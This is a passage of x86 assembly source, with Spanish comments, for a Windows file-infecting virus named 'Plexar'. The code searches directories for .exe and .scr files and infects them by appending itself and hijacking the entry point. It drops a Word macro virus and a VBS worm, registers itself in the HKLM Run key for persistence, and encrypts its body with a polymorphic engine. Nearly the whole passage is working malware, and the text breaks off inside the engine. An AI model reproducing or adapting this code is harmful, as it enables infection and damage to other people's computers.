@BGPA_2:++ MOV ESI, DWO [Exports]+ ADD EAX, EAX++ MOV EDI, DWORD PTR [ESI+24h]+ ADD EDI, EBX+ ADD EDI, EAX++ MOVZX EAX, WORD PTR [EDI]+ IMUL EAX, 4h++ MOV EDI, DWORD PTR [ESI+1Ch]+ ADD EDI, EBX+ ADD EDI, EAX++ MOV EAX, DWORD PTR [EDI]+ ADD EAX, EBX++ PUSH EAX++ @BGPA_3:++ POP DWO [GetProcAddress]++ RET++ Busca_GPA ENDP++; ���������������������������������������������������������������������������++ ; ESI -> Donde Guardar las APIs+ ; EDI -> Cadenas de APIs+ ; EBX -> Modulo++ ; Proceso para buscar las APIs++ Busca_APIs PROC++ PUSHAD++ MOV DWO [Guardalo], ESI+ XCHG EDI, ESI++ @BA1:+ LEA EDI, OFS [TempAPI]+ @BA2:++ CMP BYTE PTR [ESI], 00h+ JE @BA4++ LODSB+ CMP AL, 0Eh+ JA @BA3++ XOR ECX, ECX+ XCHG CL, AL++ PUSH ESI+ LEA ESI, OFS [PackedAPIs]++ @BA5:+ INC ESI+ CMP BYTE PTR [ESI], 00h+ JNZ @BA5++ LOOP @BA5++ INC ESI+ @BA6:+ MOVSB+ CMP BYTE PTR [ESI], 00h+ JNZ @BA6++ POP ESI+ JMP @BA2++ @BA3:+ STOSB+ JMP @BA2++ @BA4:++ XOR AL, AL+ STOSB++ LEA EAX, OFS [TempAPI]+ PUSH EAX+ PUSH EBX+ CALL [GetProcAddress+EBP]+ NOP++ PUSH ESI+ MOV ESI, 12345678h+ ORG $-4+ Guardalo DD 00000000h+ MOV DWORD PTR [ESI], EAX+ ADD DWO [Guardalo], 00000004h+ POP ESI++ INC ESI++ CMP BYTE PTR [ESI], 0FFh+ JNZ @BA1++ @OA7:++ POPAD++ RET++ Busca_APIs ENDP++; ���������������������������������������������������������������������������++ ; Accion directa.++ Directa PROC Pascal DeltaOfs:DWORD++ PUSHAD++ MOV EBP, DeltaOfs++ CALL @SEH_2++ MOV ESP, DWORD PTR [ESP+8h]+ JMP @DIRF++ @SEH_2:++ XOR EAX, EAX+ PUSH DWORD PTR FS:[EAX]+ MOV FS:[EAX], ESP++ LEA EDX, OFS [RewtDir]+ PUSH EDX+ APICALL SetCurrentDirectoryA+ OR EAX, EAX+ JZ @DIRF++ @DIR1:++ LEA EAX, OFS [Busqueda]+ PUSH EAX+ LEA EAX, OFS [Mascara]+ PUSH EAX+ APICALL FindFirstFileA+ MOV DWO [BHandle], EAX+ INC EAX+ JZ @DIR2++ @DIR3:++ LEA EDI, OFS [Busqueda.wfd_szFileName]+ MOV EBX, EDI+ PUSH EBX+ XOR AL, AL+ SCASB+ JNZ $-1+ XCHG ESI, EDI+ SUB ESI, 5h+ OR DWORD PTR [ESI], 20202020h+ MOV EDI, 5h+ CALL CRC32+ POP EBX+ CMP EAX, CRC_EXE ; .exe crc32+ JE @Infecta_Este_Exe+ CMP EAX, CRC_SCR ; .scr crc32+ JE @Infecta_Este_Exe++ @Retorna_Directa:++ LEA EAX, OFS [Busqueda]+ PUSH EAX+ PUSH DWO [BHandle]+ APICALL FindNextFileA+ OR EAX, EAX+ JNZ @DIR3++ PUSH DWO [BHandle]+ APICALL FindClose++ @DIR2:++ LEA EAX, OFS [Puto_Puto]+ PUSH EAX+ APICALL SetCurrentDirectoryA++ LEA EAX, OFS [Busqueda.wfd_szFileName]+ PUSH EAX+ PUSH MAX_PATH+ APICALL GetCurrentDirectoryA+ CMP EAX, DWO [LargPP]+ JZ @DIRF+ MOV DWO [LargPP], EAX+ JMP @DIR1++ LEA EAX, OFS [RewtDir]+ PUSH EAX+ APICALL SetCurrentDirectoryA++ @DIRF:++ XOR ECX, ECX+ POP DWORD PTR FS:[ECX]+ POP ECX++ IF DEBUG++ POPAD+ RET++ ELSE++ INC BY [Listo_Directa]++ MOV DWO [GuardaEBP], EBP+ POPAD++ MOV EBX, 12345678h+ ORG $-4+ GuardaEBP DD 00000000h++ PUSH NULL+ CALL [EBX+ExitThread]++ RET++ ENDIF++ @Infecta_Este_Exe:+ CALL Infecta_PE+ JMP @Retorna_Directa++ Directa ENDP++; ���������������������������������������������������������������������������++ ; Proceso para infectar un PE.+ ;+ ; EBX -> Archivo a infectar++ Infecta_PE PROC++ PUSHAD++ PUSH DWO [HostBack]+ POP DWO [Guarda_EIP]++ CALL @Seh_IPE++ MOV ESP, [ESP+8h]+ JMP @PEF++ @Seh_IPE:++ XOR EAX, EAX+ PUSH DWORD PTR FS:[EAX]+ MOV FS:[EAX], ESP++ PUSH 019d+ POP ECX++ MOV ESI, EBX+ LEA EDX, OFS [CRCNoInf]++ @CicloNo:++ PUSH 04h+ POP EDI+ PUSH EBX+ PUSH ESI+ PUSH EDX+ PUSH ECX+ CALL CRC32+ POP ECX+ POP EDX+ POP ESI+ POP EBX+ CMP EAX, DWORD PTR [EDX]+ JZ @PEF+ ADD EDX, 4h+ LOOP @CicloNo++ PUSH 00000000h+ PUSH EBX+ APICALL SetFileAttributesA++ XOR EAX, EAX+ PUSH EAX+ PUSH 00000000h+ PUSH OPEN_EXISTING+ PUSH EAX+ PUSH EAX+ PUSH GENERIC_READ + GENERIC_WRITE+ PUSH EBX+ APICALL CreateFileA+ MOV DWO [FHandle], EAX+ INC EAX+ JZ @PEF++ DEC EAX+ PUSH NULL+ PUSH EAX+ APICALL GetFileSize+ MOV DWO [Tama�o_1], EAX+ INC EAX+ JZ @PE_Close+ DEC EAX++ CMP EAX, 8192d+ JB @PE_Close++ ADD EAX, Virus_Tama�o + 1400h+ MOV DWO [Tama�o_2], EAX++ XOR EDX, EDX+ PUSH EDX+ PUSH EAX+ PUSH EDX+ PUSH PAGE_READWRITE+ PUSH EDX+ PUSH DWO [FHandle]+ APICALL CreateFileMappingA+ MOV DWO [MHandle], EAX+ OR EAX, EAX+ JZ @PE_Close++ XOR EDX, EDX+ PUSH DWO [Tama�o_2]+ PUSH EDX+ PUSH EDX+ PUSH FILE_MAP_WRITE+ PUSH EAX+ APICALL MapViewOfFile+ MOV DWO [BaseMap], EAX+ OR EAX, EAX+ JZ @PE_CloseMap++ MOV EDI, EAX+ MOV BX, WORD PTR [EDI]+ AND BX, 3ED4h ; "ZM" = 5A4Dh ^ 3ED4h == 1444h+ ADD BX, BX+ XOR BX, 3488h+ JNZ @PE_UnMap++ MOV EBX, DWORD PTR [EDI+3Ch]+ ADD EBX, EDI+ CMP EBX, DWO [BaseMap]+ JB @PE_UnMap+ MOV EDX, DWO [BaseMap]+ ADD EDX, DWO [Tama�o_1]+ CMP EBX, EDX+ JA @Pe_UnMap++ ADD EDI, [EDI+3Ch]+ MOV BX, WORD PTR [EDI]+ OR BX, 0AEDAh ; "EP" = 4550h | 0AEDAh == 0EFDAh+ SUB BX, 0EFDAh+ JNZ @PE_UnMap++ MOV ESI, EDI+ PUSHAD+ ADD ESI, 4Ch+ MOV EDI, 5h+ CALL CRC32+ CMP EAX, CRC_PLXR+ POPAD+ JE @PE_UnMap++ MOV EAX, "rxlp" XOR 0C3E8F2A8h+ XOR EAX, 0C3E8F2A8h+ MOV DWORD PTR [EDI+4Ch], EAX++ ADD ESI, 18h+ MOVZX EAX, WORD PTR [EDI+14h]+ ADD ESI, EAX++ XOR EDX, EDX+ MOVZX EDX, WORD PTR [EDI+06h]+ DEC EDX+ IMUL EDX, 28h+ ADD ESI, EDX++ OR DWORD PTR [ESI+24h], 0A0000020h++ MOV EAX, DWORD PTR [ESI+08h]+ PUSH EAX+ ADD EAX, Virus_Tama�o + 400h+ MOV DWORD PTR [ESI+08h], EAX++ MOV EBX, DWORD PTR [EDI+3Ch]+ XOR EDX, EDX+ DIV EBX+ INC EAX+ MUL EBX++ MOV DWORD PTR [ESI+10h], EAX++ MOV EAX, DWORD PTR [ESI+10h]+ ADD EAX, DWORD PTR [ESI+0Ch]+ MOV DWORD PTR [EDI+50h], EAX++ POP EDX++ MOV EAX, DWORD PTR [EDI+28h]+ ADD EAX, DWORD PTR [EDI+34h]+ MOV DWO [HostBack], EAX++ ADD EDX, DWORD PTR [ESI+0Ch]+ MOV DWORD PTR [EDI+28h], EDX++ PUSH EBP+ PUSH EBX+ INC ESP++ POP EBX ; \+ DEC ESP ; \+ PUSH EBX ; > "[LSX]" Cadena Ejecutable.+ POP EAX ; /+ POP EBP ; /++ MOV EDI, DWORD PTR [ESI+14h]+ ADD EDI, DWORD PTR [ESI+08h]+ ADD EDI, DWO [BaseMap]+ MOV ECX, Virus_Tama�o / 4+ SUB EDI, Virus_Tama�o + 400h+ LEA ESI, OFS [Empieza_Plexar]+ CALL PXPE++ PUSH DWO [Tama�o_2]+ POP DWO [Tama�o_1]++ @PE_UnMap:++ XOR EAX, EAX+ PUSH EAX+ PUSH EAX+ PUSH DWO [Tama�o_1]+ PUSH DWO [FHandle]+ APICALL SetFilePointer++ PUSH DWO [FHandle]+ APICALL SetEndOfFile++ PUSH DWO [BaseMap]+ APICALL UnmapViewOfFile++ @PE_CloseMap:++ PUSH DWO [MHandle]+ APICALL CloseHandle++ @PE_Close:++ PUSH DWO [FHandle]+ APICALL CloseHandle++ @PEF:++ XOR ECX, ECX+ POP DWORD PTR FS:[ECX]+ POP ECX++ PUSH DWO [Guarda_EIP]+ POP DWO [HostBack]++ POPAD+ RET++ Infecta_PE ENDP++; ���������������������������������������������������������������������������++ ; Este proceso suelta en disco un archivo PE vacio.+ ;+ ; EBX -> Nombre++ Droppear_PE PROC+ PUSHAD++ XOR EAX, EAX+ PUSH EAX+ PUSH FILE_ATTRIBUTE_NORMAL+ PUSH CREATE_ALWAYS+ PUSH EAX+ PUSH EAX+ PUSH GENERIC_READ + GENERIC_WRITE+ PUSH EBX+ APICALL CreateFileA+ MOV DWO [FHandle_DPE], EAX+ INC EAX+ JZ @Fin_DPE+ DEC EAX++ XOR EBX, EBX+ PUSH EBX+ PUSH 32768d+ PUSH EBX+ PUSH PAGE_READWRITE+ PUSH EBX+ PUSH EAX+ APICALL CreateFileMappingA+ MOV DWO [MHandle_DPE], EAX+ OR EAX, EAX+ JZ @DPE_Cierra++ XOR EBX, EBX+ PUSH 32768d+ PUSH EBX+ PUSH EBX+ PUSH FILE_MAP_WRITE+ PUSH EAX+ APICALL MapViewOfFile+ MOV DWO [BaseMap_DPE], EAX+ OR EAX, EAX+ JZ @DPE_CierraMap++ PUSH EAX+ LEA EAX, OFS [Dropper]+ PUSH EAX+ CALL _aP_depack_asm+ ADD ESP, 08h++ XOR EBX, EBX+ PUSH EBX+ PUSH EBX+ PUSH EAX+ PUSH DWO [FHandle_DPE]+ APICALL SetFilePointer++ @DPE_DesMapea:++ PUSH DWO [BaseMap_DPE]+ APICALL UnmapViewOfFile++ @DPE_CierraMap:++ PUSH DWO [MHandle_DPE]+ APICALL CloseHandle++ @DPE_Cierra:++ PUSH DWO [FHandle_DPE]+ APICALL SetEndOfFile++ PUSH DWO [FHandle_DPE]+ APICALL CloseHandle++ POPAD+ RET++ @Fin_DPE:++ POPAD+ STC+ RET++ Droppear_PE ENDP++ DB 00h, 00h+ DB "< Virus Plexar (c) Julio/Agosto 2001 - Escrito por LiteSys >"+ DB 00h, 00h+ DB "[ Hecho en Venezuela ]"+ DB 00h, 00h++; ���������������������������������������������������������������������������++ ; Proceso para soltar el virus macro de Word.++ Infecta_Word PROC Pascal DeltaOfs:DWORD++ PUSHAD++ MOV EBP, DeltaOfs++ CALL @SEH_3++ MOV ESP, DWORD PTR [ESP+8h]+ JMP @IW_Fin++ @SEH_3:++ XOR EAX, EAX+ PUSH DWORD PTR FS:[EAX]+ MOV FS:[EAX], ESP++ PUSH PAGE_READWRITE+ PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN+ PUSH MAX_PATH+ PUSH NULL+ APICALL VirtualAlloc+ MOV DWO [VFreeZ], EAX+ OR EAX, EAX+ JZ @IW_Fin++ PUSH MAX_PATH+ PUSH EAX+ APICALL GetWindowsDirectoryA+ OR EAX, EAX+ JZ @IW_Fin++ PUSH DWO [VFreeZ]+ APICALL SetCurrentDirectoryA+ OR EAX, EAX+ JZ @IW_Fin++ PUSH MEM_DECOMMIT+ PUSH MAX_PATH+ PUSH 12345678h+ ORG $-4+ VFreeZ DD 00000000h+ APICALL VirtualFree++ LEA EBX, OFS [WScript_Exe]+ CALL @Existe_Archivo+ JNC @VBS_Fin++ LEA EBX, OFS [Raxelp_$$$]+ CALL @Existe_Archivo+ JC @IW_Fin++ LEA EDI, OFS [Macaco]+ PUSH 08h+ POP ECX+ @IW2:+ PUSH 25d+ POP EBX+ CALL Random+ ADD EAX, 65d+ STOSB+ LOOP @IW2++ MOV EAX, "$$$."+ STOSD+ XOR AL, AL+ STOSB++ LEA EBX, OFS [Macaco]+ CALL Droppear_PE+ JC @IW_Fin++ LEA EBX, OFS [Macaco]+ CALL Infecta_PE++ XOR EAX, EAX+ PUSH EAX+ PUSH FILE_ATTRIBUTE_NORMAL+ PUSH OPEN_EXISTING+ PUSH EAX+ PUSH EAX+ PUSH GENERIC_READ + GENERIC_WRITE+ LEA EAX, OFS [Macaco]+ PUSH EAX+ APICALL CreateFileA+ MOV DWO [FHandle_IW], EAX+ INC EAX+ JZ @IW_Fin+ DEC EAX++ PUSH NULL+ PUSH EAX+ APICALL GetFileSize+ MOV DWO [Tama�o_IW], EAX+ INC EAX+ JZ @IW_CierraFile++ XOR EAX, EAX+ PUSH EAX+ PUSH EAX+ PUSH EAX+ PUSH PAGE_READWRITE+ PUSH EAX+ PUSH DWO [FHandle_IW]+ APICALL CreateFileMappingA+ MOV DWO [MHandle], EAX+ OR EAX, EAX+ JZ @IW_CierraFile++ XOR EBX, EBX+ PUSH EBX+ PUSH EBX+ PUSH EBX+ PUSH FILE_MAP_READ + FILE_MAP_WRITE+ PUSH EAX+ APICALL MapViewOfFile+ MOV DWO [BaseMap_IW], EAX+ OR EAX, EAX+ JZ @IW_CierraMap++ PUSH PAGE_READWRITE+ PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN+ MOV EAX, DWO [Tama�o_IW]+ ADD EAX, EAX+ ADD EAX, 1000h+ PUSH EAX+ PUSH NULL+ APICALL VirtualAlloc+ MOV DWO [Memoria_IW], EAX+ OR EAX, EAX+ JZ @IW_Fin++ MOV ECX, DWO [Tama�o_IW]+ MOV EDI, EAX+ MOV ESI, DWO [BaseMap_IW]++ @Conve:++ LODSB+ CALL @Hexa+ STOSW++ LOOP @Conve++ XOR EAX, EAX+ STOSD++ PUSH DWO [BaseMap_IW]+ APICALL UnmapViewOfFile++ PUSH DWO [MHandle_IW]+ APICALL CloseHandle++ PUSH DWO [FHandle_IW]+ APICALL CloseHandle++ XOR EAX, EAX+ PUSH EAX+ PUSH FILE_ATTRIBUTE_NORMAL+ PUSH CREATE_NEW+ PUSH EAX+ PUSH EAX+ PUSH GENERIC_READ + GENERIC_WRITE+ LEA EAX, OFS [Raxelp_$$$]+ PUSH EAX+ APICALL CreateFileA+ MOV DWO [FHandle_IW], EAX+ INC EAX+ JZ @IW_Fin++ DEC EAX+ XOR EBX, EBX+ PUSH EBX+ PUSH 131072d+ PUSH EBX+ PUSH PAGE_READWRITE+ PUSH EBX+ PUSH EAX+ APICALL CreateFileMappingA+ MOV DWO [MHandle_IW], EAX+ OR EAX, EAX+ JZ @IW_CierraFile++ XOR EBX, EBX+ PUSH EBX+ PUSH EBX+ PUSH EBX+ PUSH FILE_MAP_READ + FILE_MAP_WRITE+ PUSH EAX+ APICALL MapViewOfFile+ MOV DWO [BaseMap_IW], EAX+ OR EAX, EAX+ JZ @IW_CierraMap++ MOV EDI, EAX+ LEA ESI, OFS [Virus_Macro]+ PUSH L_Virus_Macro+ POP ECX+ REP MOVSB++ MOV ESI, DWO [Memoria_IW]+ XOR EDX, EDX+ XOR EAX, EAX++ @IW_B:++ MOVSB+ INC EDX+ CMP EDX, 200d+ JNZ @IW_D++ MOV AL, '"'+ STOSB+ MOV AX, 0A0Dh+ STOSW+ MOV EAX, "adoj"+ STOSD+ MOV EAX, 'j = '+ STOSD+ MOV EAX, " ado"+ STOSD+ MOV AX, " +"+ STOSW+ MOV AL, '"'+ STOSB++ ; joda = joda + "++ XOR EAX, EAX+ XOR EDX, EDX++ @IW_D:++ CMP BYTE PTR [ESI], AL+ JNZ @IW_B++ MOV AL, '"'+ STOSB+ MOV AX, 0A0Dh+ STOSW++ LEA ESI, OFS [Virus_Macro_2]+ PUSH L_Virus_Macro_2+ POP ECX+ REP MOVSB++ PUSH DWO [BaseMap_IW]+ APICALL UnmapViewOfFile++ PUSH DWO [MHandle_IW]+ APICALL CloseHandle++ SUB EDI, DWO [BaseMap_IW]+ XOR EBX, EBX+ PUSH EBX+ PUSH EBX+ PUSH EDI+ PUSH DWO [FHandle_IW]+ APICALL SetFilePointer++ PUSH DWO [FHandle_IW]+ APICALL SetEndOfFile++ PUSH DWO [FHandle_IW]+ APICALL CloseHandle++ PUSH MEM_DECOMMIT+ MOV EAX, DWO [Tama�o_IW]+ ADD EAX, EAX+ ADD EAX, 1000h+ PUSH EAX+ PUSH DWO [Memoria_IW]+ APICALL VirtualFree++ XOR EAX, EAX+ PUSH EAX+ PUSH FILE_ATTRIBUTE_NORMAL+ PUSH CREATE_ALWAYS+ PUSH EAX+ PUSH EAX+ PUSH GENERIC_WRITE+ LEA EBX, OFS [Plxwrd_vbs]+ PUSH EBX+ APICALL CreateFileA+ MOV DWO [FHandle], EAX+ INC EAX+ JZ @IW_Fin+ DEC EAX++ XOR EBX, EBX+ PUSH EBX+ LEA EDX, OFS [Scriptum]+ PUSH EDX+ PUSH Largo_MVBS+ LEA EDX, OFS [Macro_VBS]+ PUSH EDX+ PUSH EAX+ APICALL WriteFile++ PUSH DWO [FHandle_IW]+ APICALL CloseHandle++ CALL @IW_Q+ DB "SHLWAPI.DLL", 00h+ @IW_Q: APICALL LoadLibraryA+ OR EAX, EAX+ JZ @IW_Fin++ CALL @IW_K+ DB "SHSetValueA", 00h+ @IW_K: PUSH EAX+ APICALL GetProcAddress+ OR EAX, EAX+ JZ @IW_Fin++ PUSH 11d+ LEA EBX, OFS [Plxwrd_vbs]+ PUSH EBX+ PUSH REG_SZ+ CALL @IW_L+ DB "Plexar", 00h+ @IW_L: CALL @IW_M+ DB "Software\Microsoft\Windows\CurrentVersion\Run", 00h+ @IW_M: PUSH HKEY_LOCAL_MACHINE+ CALL EAX++ @IW_Fin:++ XOR ECX, ECX+ POP DWORD PTR FS:[ECX]+ POP ECX++ IF DEBUG++ POPAD+ RET++ ELSE++ MOV DWO [GuardaEBP2], EBP+ POPAD++ MOV EBX, 12345678h+ ORG $-4+ GuardaEBP2 DD 00000000h++ PUSH NULL+ CALL [EBX+ExitThread]++ RET++ ENDIF++ @IW_CierraMap:++ PUSH DWO [MHandle_IW]+ APICALL CloseHandle++ @IW_CierraFile:++ PUSH DWO [FHandle_IW]+ APICALL CloseHandle+ JMP @IW_Fin++ ; Convierte un numero a su representacion ASCII en Hex.++ @Hexa:++ PUSH ECX+ PUSH EDI++ XOR ECX, ECX+ MOV CL, AL+ PUSH ECX+ SHR CL, 04h+ LEA EDI, OFS [Tabla_Hex]+ INC CL++ @@Y:+ INC EDI+ DEC CL+ JNZ @@Y++ DEC EDI+ MOV AL, BYTE PTR [EDI] ; Pasa el numero exacto de la tabla+ POP ECX+ AND CL, 0Fh+ LEA EDI, OFS [Tabla_Hex]+ INC CL++ @@X:+ INC EDI+ DEC CL+ JNZ @@X++ DEC EDI+ MOV AH, BYTE PTR [EDI] ; Pasa el numero exacto de la tabla+ POP EDI+ POP ECX++ RET 00h++ Infecta_Word ENDP++; ���������������������������������������������������������������������������++ Worm_VBS PROC Pascal DeltaOfs:DWORD++ PUSHAD++ MOV EBP, DeltaOfs++ CALL @SEH_4++ MOV ESP, DWORD PTR [ESP+8h]+ JMP @VBS_Fin++ @SEH_4:++ XOR EAX, EAX+ PUSH DWORD PTR FS:[EAX]+ MOV FS:[EAX], ESP++ PUSH PAGE_READWRITE+ PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN+ PUSH MAX_PATH+ PUSH NULL+ APICALL VirtualAlloc+ MOV DWO [VFreeX], EAX+ OR EAX, EAX+ JZ @VBS_Fin++ PUSH MAX_PATH+ PUSH EAX+ APICALL GetWindowsDirectoryA+ OR EAX, EAX+ JZ @VBS_Fin++ PUSH DWO [VFreeX]+ APICALL SetCurrentDirectoryA+ OR EAX, EAX+ JZ @VBS_Fin++ PUSH MEM_DECOMMIT+ PUSH MAX_PATH+ PUSH 12345678h+ ORG $-4+ VFreeX DD 00000000h+ APICALL VirtualFree++ LEA EBX, OFS [WScript_Exe]+ CALL @Existe_Archivo+ JNC @VBS_Fin++ LEA EBX, OFS [Raxelp_vbs]+ CALL @Existe_Archivo+ JC @VBS_Fin++ PUSH 10d+ POP EBX+ CALL Random+ XCHG ECX, EAX+ LEA EDI, OFS [Nombres_Varios]+ INC ECX+ @VBS1:+ XOR AL, AL+ SCASB+ JNZ @VBS1+ LOOP @VBS1++ PUSH EDI+ @VBS2:+ XOR AL, AL+ INC ECX+ SCASB+ JNZ @VBS2+ DEC ECX+ POP EDI++ MOV BY [LargoVBS], CL+ MOV DWO [GuardaNom], EDI++ MOV EBX, EDI+ CALL Droppear_PE+ JC @VBS_Fin++ MOV EBX, DWO [GuardaNom]+ CALL Infecta_PE++ XOR EAX, EAX+ PUSH EAX+ PUSH FILE_ATTRIBUTE_NORMAL+ PUSH CREATE_NEW+ PUSH EAX+ PUSH EAX+ PUSH GENERIC_READ + GENERIC_WRITE+ LEA EAX, OFS [Raxelp_vbs]+ PUSH EAX+ APICALL CreateFileA+ MOV DWO [FHandle_WVBS], EAX+ INC EAX+ JZ @VBS_Fin+ DEC EAX++ XOR EBX, EBX+ PUSH EBX+ PUSH 4096d+ PUSH EBX+ PUSH PAGE_READWRITE+ PUSH EBX+ PUSH EAX+ APICALL CreateFileMappingA+ MOV DWO [MHandle_WVBS], EAX+ OR EAX, EAX+ JZ @VBS_CierraFile++ XOR EBX, EBX+ PUSH EBX+ PUSH EBX+ PUSH EBX+ PUSH FILE_MAP_READ + FILE_MAP_WRITE+ PUSH EAX+ APICALL MapViewOfFile+ MOV DWO [BaseMap_WVBS], EAX+ OR EAX, EAX+ JZ @VBS_DesMapea++ XCHG EDI, EAX+ LEA ESI, OFS [Gusano_VBS]+ PUSH L_Gusano_VBS+ POP ECX+ REP MOVSB++ PUSH EDI+ PUSH MAX_PATH+ PUSH EDI+ APICALL GetWindowsDirectoryA+ OR EAX, EAX+ JZ @VBS_CierraTodo+ POP EDI+ ADD EDI, EAX+ MOV BYTE PTR [EDI], "\"+ INC EDI++ MOV ESI, DWO [GuardaNom]+ MOVZX ECX, BY [LargoVBS]+ REP MOVSB++ LEA ESI, OFS [Gusano_VBS2]+ PUSH L_Gusano_VBS2+ POP ECX+ REP MOVSB+ SUB EDI, DWO [BaseMap_WVBS]++ PUSH DWO [BaseMap_WVBS]+ APICALL UnmapViewOfFile++ PUSH DWO [MHandle_WVBS]+ APICALL CloseHandle++ XOR EBX, EBX+ PUSH EBX+ PUSH EBX+ PUSH EDI+ PUSH DWO [FHandle_WVBS]+ APICALL SetFilePointer++ PUSH DWO [FHandle_WVBS]+ APICALL SetEndOfFile++ PUSH DWO [FHandle_WVBS]+ APICALL CloseHandle++ CALL @VBS3+ DB "SHELL32.DLL", 00h+ @VBS3: APICALL LoadLibraryA+ OR EAX, EAX+ JZ @VBS_Fin++ CALL @VBS4+ DB "ShellExecuteA", 00h, 5 DUP (90h)+ @VBS4: PUSH EAX+ APICALL GetProcAddress+ OR EAX, EAX+ JZ @VBS_Fin++ XOR EBX, EBX+ PUSH EBX+ PUSH EBX+ PUSH EBX+ LEA EDX, OFS [Raxelp_VBS]+ PUSH EDX+ PUSH EBX+ PUSH EBX+ CALL EAX++ @VBS_Fin:++ XOR ECX, ECX+ POP DWORD PTR FS:[ECX]+ POP ECX++ IF DEBUG++ POPAD+ RET++ ELSE++ MOV DWO [GuardaEBP3], EBP+ POPAD++ MOV EBX, 12345678h+ ORG $-4+ GuardaEBP3 DD 00000000h++ PUSH NULL+ CALL [EBX+ExitThread]+ RET++ ENDIF++ @VBS_CierraTodo:++ PUSH DWO [BaseMap_WVBS]+ APICALL UnmapViewOfFile++ @VBS_DesMapea:++ PUSH DWO [MHandle_WVBS]+ APICALL CloseHandle++ @VBS_CierraFile:++ XOR EBX, EBX+ PUSH EBX+ PUSH EBX+ PUSH DWO [Scriptum]+ PUSH DWO [FHandle_WVBS]+ APICALL SetFilePointer++ PUSH DWO [FHandle_WVBS]+ APICALL SetEndOfFile++ PUSH DWO [FHandle_WVBS]+ APICALL CloseHandle++ JMP @VBS_Fin++ ; Rutina para revisar la existencia de un archivo.+ ; EBX -> Nombre de archivo.+ ; Retorna acarreo si existe++ @Existe_Archivo:++ PUSH EBX+ PUSH PAGE_READWRITE+ PUSH MEM_COMMIT + MEM_RESERVE + MEM_TOP_DOWN+ PUSH SIZEOF_WIN32_FIND_DATA+ PUSH NULL+ APICALL VirtualAlloc+ MOV DWO [VAllocZ], EAX+ OR EAX, EAX+ JZ @EA_Negativo+ POP EBX++ PUSH EAX+ PUSH EBX+ APICALL FindFirstFileA+ INC EAX+ JZ @EA_Negativo++ DEC EAX+ PUSH EAX+ APICALL FindClose++ PUSH MEM_DECOMMIT+ PUSH SIZEOF_WIN32_FIND_DATA+ PUSH 12345678h+ ORG $-4+ VAllocZ DD 00000000h+ APICALL VirtualFree++ STC+ RET 0++ @EA_Negativo:++ PUSH MEM_DECOMMIT+ PUSH SIZEOF_WIN32_FIND_DATA+ PUSH DWO [VAllocZ]+ APICALL VirtualFree++ CLC+ RET 0+++ Worm_VBS ENDP++; ���������������������������������������������������������������������������++ DB "[" XOR 40h+ DB "D" XOR 40h+ DB "e" XOR 40h+ DB "s" XOR 40h+ DB "i" XOR 40h+ DB "g" XOR 40h+ DB "n" XOR 40h+ DB "e" XOR 40h+ DB "d" XOR 40h+ DB " " XOR 40h+ DB "b" XOR 40h+ DB "y" XOR 40h+ DB " " XOR 40h+ DB "L" XOR 40h+ DB "i" XOR 40h+ DB "t" XOR 40h+ DB "e" XOR 40h+ DB "S" XOR 40h+ DB "y" XOR 40h+ DB "s" XOR 40h+ DB "]" XOR 40h+ DB 40h++; ���������������������������������������������������������������������������++ ; PXPE: Plexar Polymorphic Engine: Another Lame Poly Written By Me.+ ;+ ; ESI -> Origen+ ; EDI -> Destino+ ; ECX -> Tama�o++ PXPE PROC++ MOV DWO [Origen], ESI+ MOV DWO [Destino], EDI+ MOV DWO [Tama�o], ECX++ CALL @Inicializar_Semillas++ XOR EBX, EBX+ DEC EBX+ CALL @Aleatorio+ MOV DWO [Llave], EAX++ MOV EDI, DWO [Destino]++ ; DELTA++ PUSH EDI+ CALL @Basura+ CALL @Basura+ POP EDX+ SUB EDX, EDI+ MOV DWO [GuardaDelta2], EDX++ MOV AL, 0E8h ; CALL+ STOSB+ XOR EAX, EAX ; Delta+ STOSD+ CALL @Basura+ CALL @Basura+ CALL @Popear_Delta+ CALL @Basura+ CALL @Basura+ CALL @Meter_Tama�o+ CALL @Basura+ CALL @Basura++ CALL @Colocar_Lea+ CALL @Basura+ MOV DWO [GuardaLoop], EDI+ CALL @Basura++ MOV AX, 03781h ; XOR DWORD PTR [EDI]+ STOSW+ MOV EAX, DWO [Llave]+ STOSD+ CALL @Basura+ CALL @Basura+ CALL @SumaCuatro+ CALL @Basura+ CALL @Basura++ MOV AL, 049h+ STOSB+ MOV AX, 850Fh+ STOSW+ MOV EAX, DWO [GuardaLoop]+ SUB EAX, EDI+ SUB EAX, 04h+ STOSD++ CALL @Basura+ CALL @Basura++ MOV EAX, EDI+ SUB EAX, DWO [Destino]+ SUB EAX, 05h+ MOV EBX, DWO [GuardaDelta]+ SUB DWORD PTR [EBX], EAX+ MOV EDX, DWO [GuardaDelta2]+ SUB DWORD PTR [EBX], EDX++ MOV ESI, DWO [Origen]+ MOV ECX, DWO [Tama�o]+ MOV EAX, DWO [Llave]++ @ReCopia:+ MOVSD+ XOR DWORD PTR [EDI-4h], EAX+ LOOP @ReCopia++ RET++ @Inicializar_Semillas:++ LEA EDI, OFS [@SaveSemilla]+ RDTSC+ STOSD+ PUSH 04h+ POP EDI+ LEA ESI, OFS [@SaveSemilla]+ CALL CRC32+ MOV DWO [Semilla_1], EAX++ APICALL GetTickCount+ ADD EAX, EAX+ NOT EAX ; que mierda...+ PUSH 04h+ POP EDI+ LEA ESI, OFS [@SaveSemilla]+ CALL CRC32+ MOV DWO [Semilla_2], EAX++ RET++ ; Un indecente generador de numeros aleatorios...+ ;+ ; EBX -> Limite.++ @Aleatorio:++ PUSH EDI+ PUSH ECX+ PUSH EDX+ PUSH EBX++ MOV EAX, DWO [Semilla_1]+ IMUL EAX, Mierda_1+ ADD EAX, Mierda_2+ MOV DWO [Semilla_1], EAX++ LEA EDI, OFS [Milonga]+ STOSD++ MOV EBX, DWO [Semilla_2]+ IMUL EBX, Mierda_3+ ADD EBX, Mierda_4+ MOV DWO [Semilla_2], EBX+ XCHG EAX, EBX+ STOSD++ LEA ESI, OFS [Milonga]+ PUSH 08h+ POP EDI+ CALL CRC32++ POP EBX+ XOR EDX, EDX+ DIV EBX++ XCHG EDX, EAX++ POP EDX+ POP ECX+ POP EDI++ RET++ Milonga DB 9 DUP (00h)++ @Popear_Delta:++ PUSH 04h+ POP EBX+ CALL @Aleatorio+ OR EAX, EAX+ JZ @Popear_Delta_I+ CMP EAX, 01h+ JZ @Popear_Delta_II+ CMP EAX, 02h+ JZ @Popear_Delta_III+ CMP EAX, 03h+ JZ @Popear_Delta_IV++ JMP 